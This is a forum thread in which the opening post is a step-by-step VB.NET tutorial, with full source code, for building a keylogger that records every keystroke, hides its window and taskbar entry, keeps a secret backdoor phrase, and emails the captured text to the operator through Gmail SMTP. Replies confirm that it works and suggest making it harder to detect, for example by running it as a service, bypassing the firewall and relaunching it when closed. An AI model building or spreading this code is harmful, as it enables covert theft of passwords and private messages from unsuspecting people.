Vb.net (2008) how to make a keylogger menu

User Tag List

Results 1 to 11 of 11
  1. #1
    Flame_Warrior's Avatar Member
    Reputation
    36
    Join Date
    Sep 2008
    Posts
    182
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Vb.net (2008) how to make a keylogger

    During this tut, you will learn how to hook keyboard strokes, and be able to place them into a textbox. This tutorial will also teach you about some hidden attributes of vb.net. Lets get started.

    Firstly, we are going to need to create a new windows application.
    Here are the controls you will need.


    1 timer (interval set to 1, enabled = false)
    5 buttons ("Start" "Stop" "Cancel" "Save Logs" "Exit")
    2 textbox (multiline enabled on textbox1, not textbox2)
    1 label (text set to "Number of keys pressed before it emails")
    1 savefiledialog


    The form should look like this:


    (so you dont freak out, i forgot to add the savefiledialog :[ it should be there.)

    Once the controls are done, you want to get to the coding.

    press f7 to get to the form1 class.

    We are going to email the text that is being tracked back to your own email (aka you are phoning home) so you will need to import a few things.

    Imports System.Web
    Imports System.IO
    Imports System.Net.Mail

    Now, we are going to declare and dim two things.

    Dim result As Integer

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


    This is inside of the public class of the form. The imports are outside. Now we will edit the tick sub.

    Code:
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            For i = 1 To 255
                result = 0
                result = GetAsyncKeyState(i) 'gets the key state
    
                If result = -32767 Then 'if a known key is pressed, it will be displayed in the textbox1
                    TextBox1.Text = TextBox1.Text + Chr(i)
                End If
            Next i
            If TextBox1.Text.Contains("SHOW KBH") Then 'if you type in show kbh, it will show the keylogger
                Me.Show()
                ShowInTaskbar = True
                Timer1.Enabled = False
            End If
        End Sub
    This is the actual key board hook itself. it will reread this sub every time the timer ticks. The reason i did the SHOW KBH exception is that every good program has a backdoor. You may change this to whatever you wish of course. The trick is to remember it :]

    Code:
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            If TextBox2.Text = ("") Then
                MsgBox("Enter an amount above 0.")
            Else
                ShowInTaskbar = False
                Timer1.Enabled = True
                Me.Hide()
            End If
        End Sub
    
        Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles button5.Click
            TextBox1.Text = ("")
        End Sub
    
        Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
            Me.Close()
        End Sub
    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
            Timer1.Enabled = False
        End Sub
    Easy buttons... if you dont know what to do with this, you should not be programming.

    Now this may not be very helpful, but it saves the textbox1.text as a txt file.

    Code:
    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
            Dim save As New SaveFileDialog
            Dim mystreamwriter As System.IO.StreamWriter
            save.Filter = "Text(*.txt)|*.txt|All Files(*.*)|*.*"
            save.CheckPathExists = True
            save.Title = "Save Log"
            save.ShowDialog(Me)
            Try
                mystreamwriter = System.IO.File.AppendText(save.FileName)
                mystreamwriter.Write(TextBox1.Text)
                mystreamwriter.Flush()
            Catch ex As Exception
    
            End Try
        End Sub
    Now. Here is the email process. I suggest you read this code to fully understand it.

    Code:
    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
            If TextBox1.TextLength > textbox2.text Then
                Dim mail As New MailMessage()
                Dim SmtpServer As New SmtpClient
    
                SmtpServer.Credentials = New Net.NetworkCredential("Username","Password") 'Must be a gmail account
                SmtpServer.Port = 587
                SmtpServer.Host = "smtp.gmail.com"
                SmtpServer.EnableSsl = True
                mail.To.Add("[email protected]") 'does not have to be a gmail account
                mail.From = New MailAddress("[email protected]")
                mail.Subject = ("KeyLogs")
                mail.Body = TextBox1.Text
                SmtpServer.Send(mail)
            End If
        End Sub
    This email process is gmail obviously. This means, you must use the username and password for a gmail account. I suggest creating a new gmail account that you dont care about to send the emails to an email that you check often.

    Now the last part is very simple. When the form loads, you want to see the program in the taskbar, so;

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    ShowInTaskbar = True
    End Sub


    Go ahead and press f5 to debug your program. If you followed my tut correctly, the program should work fine. To test it, i suggest setting up the gmail account, and trying to make it send an email to yourself by typing random things while the keyboard hook is running.

    Of course there are many things you can add to this program, such as a login system, so that you can change the email you log into, a formclosing exception, so that when the form closes, it opens itself up again, so that the program never truely stops, and to add to that, you could set it so that when it emails the logged keys, it closes (aka resets completely)

    I take no responsibility to whatever you use this program/source code for. I just wrote this tut for learning purposes ONLY!! :] have fun with it. I hope this helps.

    Wofa.us = website in progress. beginning \\\\ ||||||||||done https://www.youtube.com/watch?v=NVFaGb3ZkBk=awesome vid!!

    Vb.net (2008) how to make a keylogger
  2. #2
    fleischi93's Avatar Active Member
    Reputation
    27
    Join Date
    Apr 2008
    Posts
    231
    Thanks G/R
    5/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    It looks nice, but can someone confirm this or do you have a vid how it works (or some pictures)?
    Or as blizzard would put it, "users having fun in our game which is in direct conflict with our goals"
    I <3 MMOwned.com

  3. #3
    The Maffyx's Avatar Contributor

    Reputation
    249
    Join Date
    Feb 2007
    Posts
    1,186
    Thanks G/R
    0/4
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)


  4. #4
    violentmagician's Avatar Member
    Reputation
    1
    Join Date
    Dec 2008
    Posts
    8
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    i would not call polling getasynckeystate() for changes as hook...
    this is a very basic tut and should work flawlessly... how ever please dont call it a hook..
    also it has no stealth what so ever... and will be detected in ctrl + alt + delete..

    a better option would be to code one as a service..
    also a good keylogger should be capable of bypassing basic ms firewall atleast..which this example would not...

    just things to think abt if you actually want to code a somewhat competant keylogger

  5. #5
    BoneZz's Avatar Member
    Reputation
    21
    Join Date
    Aug 2009
    Posts
    31
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    will be making! hope it works

  6. #6
    Flame_Warrior's Avatar Member
    Reputation
    36
    Join Date
    Sep 2008
    Posts
    182
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    This was obviously very simple. i just posted it because I had the program sitting around doing nothing... i didnt want to put much work into a keylogger anyway.

    Wofa.us = website in progress. beginning \\\\ ||||||||||done https://www.youtube.com/watch?v=NVFaGb3ZkBk=awesome vid!!

  7. #7
    krelit's Avatar Member
    Reputation
    1
    Join Date
    Mar 2009
    Posts
    4
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    tried it and works
    Very good explained on what you are doing

  8. #8
    maty241's Avatar Private
    Reputation
    1
    Join Date
    Nov 2010
    Posts
    1
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Is this for a 32 bit computer or i dont matter?
    Because i have windows 7 64bit and every single keylogger tutorial i try (including this one) don't work!
    Does it have any thing to do with these lines:

    If result = -32767 Then 'if a known key is pressed, it will be displayed in the textbox1
    TextBox1.Text = TextBox1.Text + Chr(i)
    because when i move my mouse over the " 132767" it says something about a 32bit integer
    PLease help!!!
    Thanks in advance!

    ---------- Post added at 03:38 PM ---------- Previous post was at 03:37 PM ----------

    what windows version do you have? is it a 32bit or 64bit?

  9. #9
    tobin's Avatar Member
    Reputation
    1
    Join Date
    Mar 2007
    Posts
    1
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Tested

    Works flawlessly. I simplified it a bit by removing the buttons and interface. Only limitation is the timer interval cannot be set below 1ms with VB so if I push two keys sequentially in less then 1 ms it will miss the 2nd keystroke but that is not the code's fault, that is a limitation to VB itself.

    You can adjust the length of each email by changing the "text" property in textbox2 to however many characters you want each email to be.

    You can also have it send emails every time you press enter by adding the following: txt1.Text.Contains(Chr(13))
    and have it clear the textbox after it sends each email add: txt1.clear()

    Nice tutorial.
    Last edited by tobin; 03-26-2013 at 02:58 PM.

  10. #10
    stevengerrard223's Avatar Private
    Reputation
    1
    Join Date
    Oct 2013
    Posts
    1
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    I am a Newbie in programming, learn by myself.

    Try it and it works great! First time to make a keylogger.

    Thank you for sharing

  11. #11
    grump's Avatar Private
    Reputation
    1
    Join Date
    Oct 2013
    Posts
    6
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    I would be probalby interested to read your thread, but I am afraid iI cannot because of the font colors you use. They may be artistic and pretty, but are for me unreadable.

Similar Threads

  1. Replies: 73
    Last Post: 10-21-2010, 08:55 AM
  2. Replies: 5
    Last Post: 02-02-2009, 11:14 AM
All times are GMT -5. The time now is 04:38 PM. Powered by vBulletin® Version 4.2.3
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Google Authenticator verification provided by Two-Factor Authentication (Free) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search